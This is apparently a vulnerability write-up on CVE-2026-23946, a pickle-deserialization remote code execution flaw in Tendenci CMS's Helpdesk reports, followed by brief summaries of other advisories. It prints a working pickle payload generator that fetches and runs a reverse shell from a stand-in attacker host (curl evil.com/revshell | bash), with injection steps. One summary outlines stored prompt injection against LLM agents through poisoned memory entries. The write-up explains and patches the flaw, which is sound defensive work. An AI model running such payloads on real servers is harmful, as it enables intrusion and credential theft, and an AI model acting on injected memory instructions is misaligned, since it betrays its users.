Feb 15, 2026·6 min read·54 visits
Authenticated RCE in Tendenci CMS versions prior to 15.3.12. The Helpdesk module's `run_report` function unsafe deserializes data using Python's `pickle`. Attackers with Staff privileges can execute arbitrary code by crafting a malicious saved query.
A classic case of 'patch it once, break it twice.' Tendenci CMS suffers from a critical authenticated Remote Code Execution (RCE) vulnerability due to an incomplete fix for a 2020 issue. The Helpdesk module—specifically the reporting functionality—continued to use Python's notorious `pickle` module for deserializing user-supplied data, allowing staff-level users to execute arbitrary commands on the server.
If you've been in the Python security game for more than five minutes, you know the rule: Never trust a pickle. It is the golden rule of Python development, right up there with 'don't commit your AWS keys to GitHub.' Yet, here we are in 2026, looking at CVE-2026-23946, a vulnerability in Tendenci CMS that is essentially a zombie rising from the grave of CVE-2020-14942.
Tendenci is an open-source CMS built for non-profits. It's robust, feature-rich, and like many legacy Django applications, it has some skeletons in its closet. The specific skeleton here is the Helpdesk module. Back in 2020, security researchers pointed out that Tendenci was using pickle to store and retrieve search queries. The developers patched it... mostly. They fixed the ticket_list view, swapping unsafe pickle deserialization for JSON. Everyone clapped, the ticket was closed, and the world moved on.
But they missed a spot. Deep in the run_report function, the pickle logic remained, lurking like a landmine waiting for someone to step on it. This isn't just a bug; it's a lesson in the dangers of 'spot-fixing' vulnerabilities rather than eradicating the root cause (the use of pickle itself) from the entire codebase.
To understand why this is critical, you have to understand how Python's pickle module works. Unlike JSON, which is a data interchange format (text), pickle is a binary serialization protocol that is capable of serializing arbitrary Python objects. It doesn't just save data; it saves instructions on how to reconstruct that data.
The flaw lies in the __reduce__ method. When Python unpickles an object, if that object defines __reduce__, the unpickler will execute whatever callable (function) is returned by that method. This was designed for convenience—so complex objects could tell Python how to rebuild themselves. Hackers, being the opportunistic pragmatists they are, realized they could tell Python to 'rebuild' an object by running os.system('sh').
In Tendenci's case, the application takes a base64-encoded string from the database (a saved query), decodes it, and passes it directly to pickle.loads(). There is no signature verification, no sandboxing, and no mercy. If you can write to that database field, you own the server.
Let's look at the crime scene. The vulnerability resides in tendenci/apps/helpdesk/views/staff.py. Before version 15.3.12, the code looked something like this:
# The Vulnerable Logic
def run_report(request, report_id):
# ... retrieval logic ...
if saved_query:
# HERE IS THE DRAGON
query_params = pickle.loads(b64decode(saved_query.query))
# ... application logic ...It is elegant in its simplicity and devastating in its insecurity. The saved_query.query is controlled by the user. The fix involved ripping out pickle entirely and replacing it with standard JSON handling, which treats data as data, not code.
# The Fix (simplified)
import simplejson as json
# ... inside the view ...
try:
# Sanity prevails
query_params = json.loads(b64decode(saved_query.query))
except (ValueError, TypeError):
# Handle legacy or bad data gracefully
query_params = {}The patch didn't just change the deserializer; they also updated the input forms (SavedSearchForm) to ensure that new data coming in is strictly validated JSON, effectively closing the loop.
So, how do we exploit this? Since this is an authenticated vulnerability, we first need a user with 'Staff' permissions. This limits the blast radius, but insider threats or compromised staff accounts make this a very real vector.
The attack chain is straightforward:
A standard Python pickle exploit generator looks like this:
import pickle
import base64
import os
class Payload(object):
def __reduce__(self):
# The command to execute on the server
cmd = ('curl https://evil.com/revshell | bash')
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(Payload()))
print(f"Inject this: {payload.decode()}")The attacker saves a new 'Search Query' in the Helpdesk module. Instead of a valid search filter, they intercept the request and replace the query parameter with the base64 string generated above. When the attacker (or an unsuspecting admin) clicks 'Run Report' on that saved query, the server deserializes the blob, sees the os.system instruction, and executes the reverse shell.
You might argue, 'But you need Staff permissions!' True. But in the world of CMS, 'Staff' is often not 'System Administrator.' Staff might be a content editor, a volunteer, or a marketing intern. They should not have the ability to execute shell commands on the web server.
Successful exploitation leads to Remote Code Execution (RCE). The code runs with the privileges of the web application user (usually www-data or nginx). From there, the attacker can:
settings.py file to steal database credentials and secret keys.This turns a low-privilege compromise into a total infrastructure takeover.
The remediation is simple: Update to Tendenci v15.3.12 immediately. The developers have scrubbed the pickle imports from the Helpdesk module and replaced them with simplejson.
If you cannot update immediately, you have two options:
settings.py or site configuration and ensure tendenci.apps.helpdesk is not in your INSTALLED_APPS.gASV or the pickle opcode . combined with global). However, blocking serialized data via WAF is cat-and-mouse; patching is the only real fix.> [!NOTE]
> If you are a developer, let this be a lesson: If you are using pickle, Marshal, or Java Object Serialization on user input, you are wrong. Stop it. Use JSON.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Tendenci Tendenci | < 15.3.12 | 15.3.12 |
| Attribute | Detail |
|---|---|
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 | 6.8 (Medium) |
| Attack Vector | Network (Authenticated) |
| Privileges | High (Staff) |
| Impact | Remote Code Execution (RCE) |
| Status | Patched in v15.3.12 |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.